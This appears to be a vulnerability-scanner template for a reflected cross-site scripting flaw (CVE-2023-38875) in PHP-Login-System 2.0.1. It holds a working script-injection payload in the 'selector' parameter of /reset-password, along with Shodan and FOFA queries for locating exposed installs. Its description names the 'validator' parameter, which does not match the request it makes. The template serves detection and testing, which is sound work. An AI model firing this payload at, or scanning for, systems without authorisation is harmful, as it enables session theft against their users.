id: CVE-2023-38875

info:
  name: PHP Login System 2.0.1 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    msaad1999's PHP-Login-System 2.0.1 contains a reflected cross-site scripting caused by unsanitized input in 'validator' parameter in /reset-password, letting remote attackers execute arbitrary JavaScript in a user's browser, exploit requires attacker to craft malicious URL
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing cookies or session tokens.
  remediation: |
    Implement proper input validation and output encoding for the 'validator' parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38876
    - https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38875
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38875
    cwe-id: CWE-79
    epss-score: 0.08932
    epss-percentile: 0.92697
    cpe: cpe:2.3:a:msaad1999:php-login-system:2.0.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: msaad1999
    product: php-login-system
    shodan-query: http.html:"klik_loginsystem"
    fofa-query: body="klik_loginsystem"
  tags: cve,cve2023,xss,php-login-system

http:
  - method: GET
    path:
      - '{{BaseURL}}/reset-password/?selector=test"><script>alert(document.domain)</script>&validator=test'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "test\"><script>alert(document.domain)</script>", "Embeddable PHP Login System")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502203d559ef3c04a49b0ed2c40701f2151d16f96a678b2889b5f15ecd71f0353b03b022100b64b64c683a7e45d776940eec7cbf2f8537fa716a32e5c1789790f7f0769365b:922c64590222798bb761d5b6d8e72950